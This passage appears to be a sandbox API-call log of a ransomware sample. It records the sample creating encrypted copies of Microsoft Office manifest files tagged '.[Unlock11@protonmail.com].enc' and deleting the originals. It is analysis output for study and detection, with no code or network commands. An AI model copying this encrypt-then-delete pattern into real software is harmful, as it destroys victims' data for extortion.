returned 0x39c [0134.594] GetFileType (hFile=0x39c) returned 0x1 [0134.594] GetCurrentThreadId () returned 0x9b0 [0134.594] GetFileType (hFile=0x39c) returned 0x1 [0134.594] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.594] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.594] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.594] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.594] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.594] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.594] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.594] GetLastError () returned 0x0 [0134.595] GetCurrentThreadId () returned 0x9b0 [0134.595] GetLastError () returned 0x0 [0134.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0134.595] GetLastError () returned 0x0 [0134.595] GetLastError () returned 0x0 [0134.595] GetLastError () returned 0x0 [0134.595] GetLastError () returned 0x0 [0134.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d65e8 [0134.595] GetLastError () returned 0x0 [0134.596] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.596] GetFileType (hFile=0x3ac) returned 0x1 [0134.596] GetLastError () returned 0x0 [0134.596] GetCurrentThreadId () returned 0x9b0 [0134.596] GetLastError () returned 0x0 [0134.596] GetFileType (hFile=0x3ac) returned 0x1 [0134.596] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.596] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.597] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.597] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.597] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.597] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.597] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.597] GetLastError () returned 0x0 [0134.597] GetCurrentThreadId () returned 0x9b0 [0134.597] GetLastError () returned 0x0 [0134.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf7d8 | out: hHeap=0x2ad0000) returned 1 [0134.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.598] GetLastError () returned 0x0 [0134.598] GetLastError () returned 0x0 [0134.598] GetCurrentThreadId () returned 0x9b0 [0134.598] GetLastError () returned 0x0 [0134.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.598] GetLastError () returned 0x0 [0134.598] GetLastError () returned 0x0 [0134.598] GetCurrentThreadId () returned 0x9b0 [0134.598] GetLastError () returned 0x0 [0134.598] GetLastError () returned 0x0 [0134.600] GetLastError () returned 0x0 [0134.600] GetCurrentThreadId () returned 0x9b0 [0134.600] GetLastError () returned 0x0 [0134.600] GetCurrentThreadId () returned 0x9b0 [0134.600] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xec5) returned 0x36f8548 [0134.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d65b8 [0134.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66a8 | out: hHeap=0x2ad0000) returned 1 [0134.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xec8) returned 0x35ba9e0 [0134.601] GetLastError () returned 0x0 [0134.601] GetLastError () returned 0x0 [0134.601] GetLastError () returned 0x0 [0134.601] GetLastError () returned 0x0 [0134.601] GetCurrentThreadId () returned 0x9b0 [0134.601] GetLastError () returned 0x0 [0134.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35ba9e0 | out: hHeap=0x2ad0000) returned 1 [0134.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0134.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0134.601] GetLastError () returned 0x0 [0134.602] GetLastError () returned 0x0 [0134.602] GetCurrentThreadId () returned 0x9b0 [0134.602] GetLastError () returned 0x0 [0134.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d0338 | out: hHeap=0x2ad0000) returned 1 [0134.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9418 [0134.602] GetLastError () returned 0x0 [0134.602] GetLastError () returned 0x0 [0134.602] GetCurrentThreadId () returned 0x9b0 [0134.602] GetLastError () returned 0x0 [0134.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9418 | out: hHeap=0x2ad0000) returned 1 [0134.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.603] GetLastError () returned 0x0 [0134.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.604] CloseHandle (hObject=0x3ac) returned 1 [0134.604] GetLastError () returned 0x0 [0134.604] GetCurrentThreadId () returned 0x9b0 [0134.604] GetLastError () returned 0x0 [0134.604] GetLastError () returned 0x0 [0134.604] CloseHandle (hObject=0x39c) returned 1 [0134.604] GetLastError () returned 0x0 [0134.604] GetCurrentThreadId () returned 0x9b0 [0134.604] GetLastError () returned 0x0 [0134.605] GetCurrentThreadId () returned 0x9b0 [0134.605] GetLastError () returned 0x0 [0134.605] GetLastError () returned 0x0 [0134.605] GetLastError () returned 0x0 [0134.605] GetLastError () returned 0x0 [0134.605] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0134.606] GetLastError () returned 0x0 [0134.606] GetCurrentThreadId () returned 0x9b0 [0134.606] GetLastError () returned 0x0 [0134.606] GetLastError () returned 0x0 [0134.606] GetLastError () returned 0x0 [0134.606] GetLastError () returned 0x0 [0134.606] GetLastError () returned 0x0 [0134.607] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.607] GetCurrentThreadId () returned 0x9b0 [0134.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0134.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0134.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0134.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0134.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.607] GetLastError () returned 0x0 [0134.607] GetLastError () returned 0x0 [0134.607] GetLastError () returned 0x0 [0134.608] GetLastError () returned 0x0 [0134.608] GetCurrentThreadId () returned 0x9b0 [0134.608] GetLastError () returned 0x0 [0134.608] GetCurrentThreadId () returned 0x9b0 [0134.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.608] GetLastError () returned 0x0 [0134.608] GetLastError () returned 0x0 [0134.608] GetLastError () returned 0x0 [0134.608] GetLastError () returned 0x0 [0134.608] GetCurrentThreadId () returned 0x9b0 [0134.609] GetLastError () returned 0x0 [0134.609] GetLastError () returned 0x0 [0134.609] GetLastError () returned 0x0 [0134.609] GetLastError () returned 0x0 [0134.609] GetLastError () returned 0x0 [0134.609] GetCurrentThreadId () returned 0x9b0 [0134.609] GetLastError () returned 0x0 [0134.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.609] GetLastError () returned 0x0 [0134.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0134.609] GetLastError () returned 0x0 [0134.610] GetLastError () returned 0x0 [0134.610] GetLastError () returned 0x0 [0134.610] GetCurrentThreadId () returned 0x9b0 [0134.610] GetLastError () returned 0x0 [0134.610] GetCurrentThreadId () returned 0x9b0 [0134.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a4e8 [0134.610] GetLastError () returned 0x0 [0134.610] GetLastError () returned 0x0 [0134.610] GetLastError () returned 0x0 [0134.610] GetLastError () returned 0x0 [0134.610] GetLastError () returned 0x0 [0134.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0134.611] GetLastError () returned 0x0 [0134.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.611] GetLastError () returned 0x0 [0134.611] GetLastError () returned 0x0 [0134.611] GetLastError () returned 0x0 [0134.611] GetLastError () returned 0x0 [0134.611] GetLastError () returned 0x0 [0134.611] GetLastError () returned 0x0 [0134.611] GetLastError () returned 0x0 [0134.612] GetLastError () returned 0x0 [0134.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0134.612] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.612] GetLastError () returned 0x0 [0134.612] GetLastError () returned 0x0 [0134.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.612] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b304 | out: pbBuffer=0x366b304) returned 1 [0134.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0134.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0134.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0134.613] GetLastError () returned 0x0 [0134.613] GetLastError () returned 0x0 [0134.613] GetLastError () returned 0x0 [0134.613] GetLastError () returned 0x0 [0134.613] GetLastError () returned 0x0 [0134.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.613] GetLastError () returned 0x0 [0134.613] GetLastError () returned 0x0 [0134.613] GetLastError () returned 0x0 [0134.614] GetLastError () returned 0x0 [0134.614] GetLastError () returned 0x0 [0134.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6638 [0134.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4a30 | out: hHeap=0x2ad0000) returned 1 [0134.614] GetLastError () returned 0x0 [0134.614] GetLastError () returned 0x0 [0134.614] GetLastError () returned 0x0 [0134.614] GetLastError () returned 0x0 [0134.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d66a8 [0134.615] GetLastError () returned 0x0 [0134.615] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.615] GetFileType (hFile=0x39c) returned 0x1 [0134.615] GetLastError () returned 0x0 [0134.615] GetLastError () returned 0x0 [0134.615] GetFileType (hFile=0x39c) returned 0x1 [0134.615] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.616] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.616] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.616] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.616] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.616] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.616] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.616] GetLastError () returned 0x0 [0134.616] GetCurrentThreadId () returned 0x9b0 [0134.616] GetLastError () returned 0x0 [0134.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66a8 | out: hHeap=0x2ad0000) returned 1 [0134.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0134.616] GetCurrentThreadId () returned 0x9b0 [0134.617] GetLastError () returned 0x0 [0134.617] GetLastError () returned 0x0 [0134.617] GetLastError () returned 0x0 [0134.617] GetLastError () returned 0x0 [0134.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0134.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d66a8 [0134.617] GetLastError () returned 0x0 [0134.617] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.618] GetFileType (hFile=0x3ac) returned 0x1 [0134.618] GetLastError () returned 0x0 [0134.618] GetCurrentThreadId () returned 0x9b0 [0134.618] GetLastError () returned 0x0 [0134.618] GetFileType (hFile=0x3ac) returned 0x1 [0134.618] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.618] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.618] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.618] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.618] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.618] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.618] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.619] GetLastError () returned 0x0 [0134.619] GetCurrentThreadId () returned 0x9b0 [0134.619] GetLastError () returned 0x0 [0134.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66a8 | out: hHeap=0x2ad0000) returned 1 [0134.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf478 | out: hHeap=0x2ad0000) returned 1 [0134.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0134.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0134.619] GetLastError () returned 0x0 [0134.619] GetLastError () returned 0x0 [0134.619] GetCurrentThreadId () returned 0x9b0 [0134.619] GetLastError () returned 0x0 [0134.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.620] GetLastError () returned 0x0 [0134.620] GetLastError () returned 0x0 [0134.620] GetCurrentThreadId () returned 0x9b0 [0134.620] GetLastError () returned 0x0 [0134.620] GetLastError () returned 0x0 [0134.621] GetLastError () returned 0x0 [0134.621] GetCurrentThreadId () returned 0x9b0 [0134.622] GetLastError () returned 0x0 [0134.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6638 | out: hHeap=0x2ad0000) returned 1 [0134.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x3829900 [0134.622] GetLastError () returned 0x0 [0134.622] GetLastError () returned 0x0 [0134.622] GetLastError () returned 0x0 [0134.622] GetLastError () returned 0x0 [0134.622] GetCurrentThreadId () returned 0x9b0 [0134.622] GetLastError () returned 0x0 [0134.622] GetCurrentThreadId () returned 0x9b0 [0134.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x505) returned 0x3829e48 [0134.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3829900 | out: hHeap=0x2ad0000) returned 1 [0134.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0134.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.623] GetLastError () returned 0x0 [0134.623] GetLastError () returned 0x0 [0134.623] GetCurrentThreadId () returned 0x9b0 [0134.623] GetLastError () returned 0x0 [0134.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3829e48 | out: hHeap=0x2ad0000) returned 1 [0134.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.623] GetLastError () returned 0x0 [0134.623] GetLastError () returned 0x0 [0134.624] GetCurrentThreadId () returned 0x9b0 [0134.624] GetLastError () returned 0x0 [0134.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.624] GetLastError () returned 0x0 [0134.625] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.625] CloseHandle (hObject=0x3ac) returned 1 [0134.625] GetLastError () returned 0x0 [0134.625] GetCurrentThreadId () returned 0x9b0 [0134.625] GetLastError () returned 0x0 [0134.625] GetLastError () returned 0x0 [0134.626] CloseHandle (hObject=0x39c) returned 1 [0134.626] GetLastError () returned 0x0 [0134.626] GetCurrentThreadId () returned 0x9b0 [0134.626] GetLastError () returned 0x0 [0134.626] GetLastError () returned 0x0 [0134.626] GetLastError () returned 0x0 [0134.626] GetLastError () returned 0x0 [0134.626] GetLastError () returned 0x0 [0134.626] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0134.627] GetLastError () returned 0x0 [0134.627] GetCurrentThreadId () returned 0x9b0 [0134.628] GetLastError () returned 0x0 [0134.628] GetLastError () returned 0x0 [0134.628] GetLastError () returned 0x0 [0134.628] GetLastError () returned 0x0 [0134.628] GetLastError () returned 0x0 [0134.628] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.628] GetCurrentThreadId () returned 0x9b0 [0134.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0134.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0134.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0134.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0134.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.629] GetCurrentThreadId () returned 0x9b0 [0134.629] GetLastError () returned 0x0 [0134.629] GetLastError () returned 0x0 [0134.629] GetLastError () returned 0x0 [0134.629] GetLastError () returned 0x0 [0134.629] GetCurrentThreadId () returned 0x9b0 [0134.629] GetLastError () returned 0x0 [0134.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.630] GetLastError () returned 0x0 [0134.630] GetLastError () returned 0x0 [0134.630] GetLastError () returned 0x0 [0134.630] GetLastError () returned 0x0 [0134.630] GetCurrentThreadId () returned 0x9b0 [0134.630] GetLastError () returned 0x0 [0134.630] GetLastError () returned 0x0 [0134.630] GetLastError () returned 0x0 [0134.630] GetLastError () returned 0x0 [0134.630] GetLastError () returned 0x0 [0134.631] GetCurrentThreadId () returned 0x9b0 [0134.631] GetLastError () returned 0x0 [0134.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.631] GetCurrentThreadId () returned 0x9b0 [0134.631] GetLastError () returned 0x0 [0134.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.631] GetLastError () returned 0x0 [0134.631] GetLastError () returned 0x0 [0134.631] GetLastError () returned 0x0 [0134.631] GetCurrentThreadId () returned 0x9b0 [0134.631] GetLastError () returned 0x0 [0134.632] GetLastError () returned 0x0 [0134.632] GetLastError () returned 0x0 [0134.632] GetLastError () returned 0x0 [0134.632] GetLastError () returned 0x0 [0134.632] GetCurrentThreadId () returned 0x9b0 [0134.632] GetLastError () returned 0x0 [0134.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0134.632] GetLastError () returned 0x0 [0134.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.632] GetLastError () returned 0x0 [0134.632] GetLastError () returned 0x0 [0134.633] GetLastError () returned 0x0 [0134.633] GetCurrentThreadId () returned 0x9b0 [0134.633] GetLastError () returned 0x0 [0134.633] GetLastError () returned 0x0 [0134.633] GetLastError () returned 0x0 [0134.633] GetLastError () returned 0x0 [0134.633] GetLastError () returned 0x0 [0134.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0134.633] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.633] GetLastError () returned 0x0 [0134.634] GetCurrentThreadId () returned 0x9b0 [0134.634] GetLastError () returned 0x0 [0134.634] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0134.634] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b37c | out: pbBuffer=0x366b37c) returned 1 [0134.634] GetCurrentThreadId () returned 0x9b0 [0134.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0134.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 